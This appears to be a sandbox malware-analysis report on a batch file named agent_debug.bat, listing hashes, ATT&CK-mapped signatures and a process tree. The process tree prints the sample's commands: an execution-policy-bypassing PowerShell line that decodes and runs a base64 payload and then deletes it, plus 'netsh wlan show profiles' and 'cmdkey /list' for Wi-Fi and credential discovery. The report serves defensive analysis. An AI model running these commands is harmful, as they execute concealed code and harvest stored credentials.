Analysis
- max time kernel
149s - max time network
108s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
08/05/2026, 15:02
Static task
static1
Behavioral task
behavioral1
Sample
agent_debug.bat
Resource
win10v2004-20260130-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
agent_debug.bat
Resource
win11-20260130-en
8 signatures
150 seconds
General
- Target agent_debug.bat
- Size 67KB
- Sample260508-seh24aav4x
- SHA256 073eb2fb4cb1cdbc14c435028dfd04ca631dac4d713b1bfce573f84e90757d37
- MD5 6f76956603354f2c7585707d6bbb2cde
- SHA1 e53fb558d9bddf92a0e16083cc6ee223848d5a11
- SHA512 9539554a1f70ca202fdfcef083a56a72c678eef59aa234791d3a6313eeebca732712898669f704eab97105102d0a0efe4c23414cbc273f7b0af9891bb0680de9
- SSDEEP 1536:4tr/G+aID6KRt+VoHqrEFvZ5zK84WZ/HbaHpA8KtdoWteMR8e:C/GfIEG2k/K9WZ/7y9KiMR8e
- TLSH T164631F3DDAE1FDC0036F71D09A5E3B46205C5B23F6B16B6CF9C208A61964649DF3A25C
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 1048 powershell.exe -
pid Process 1048 powershell.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pf powershell.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 3376 netsh.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1048 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3928 wrote to memory of 1048 3928 cmd.exe 80 PID 1048 wrote to memory of 3376 1048 powershell.exe 81 PID 1048 wrote to memory of 3280 1048 powershell.exe 82
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\agent_debug.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$f='C:\Users\Admin\AppData\Local\Temp\10683.b64';$b=Get-Content $f -Raw;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(($b -replace '\s',''))) | Invoke-Expression;Remove-Item $f -Force -EA 0"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" wlan show profiles3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3376
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C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list3⤵PID:3280
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\10683.b64
- Size 66KB
- SHA256 2f19b6a5712b2b999e3f7f710fd84420fd91c2e2705e79e67cde619153e48444
- MD5 73f8f85a86ac92ec3c54da664e639a24
- SHA1 5f2380c5252e630f5da4aab67738ff6b7218dd0f
- SHA512 46369c9d87662a0f281352a0209e41511044cc4b9fb55b8363898565e65e509a16114aba6d8335303c1e4c89c43423960b53c2fc648e592cb610a361c3685bb1
- SSDEEP 1536:Rtr/G+aIDgKR/+VuHUrEpvZ5za8eWZPlba/pA8K9duWtCMRA:T/GfIIw8+/a9WZPho9KgMRA
- TLSH T1EA631F3DDAE1EDC0036F71D0995E3B86209C5B23F7B16B6CF9C208A61964649DF3A25C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\10683.b64
- Size 31KB
- SHA256 8b5ff84ab2b02a9f84aee306291f84b2a17d2a1b296ab579232ccc004b15d955
- MD5 e377e3f7930641f85bc2fad369993fdc
- SHA1 174b3a9f3d17871e0fc59af42ad7f6f137f07fbc
- SHA512 65ed2eb38a3fdbf398f3353f8e0aaaaa5e739e4cd7254835a55161afae58170e4d6d64f4f9e56a9f7742c2ffb399309a18acea1d18d3a8fa661d1010367e4307
- SSDEEP 768:xL5Dr9xZo+CoMhHo9iQgKi9P/GQZ0xTcV/WHGoerDYBxx3LLZ5mSg:Rtr/G+aIDgKR/+VuHUrEpvZ5zg
- TLSH T114E2303DDAE1BDC003AF71D0995E3B46209C5B23F7B16B6CF9C608A61924649DF3A25C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_401xsgkb.mwu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH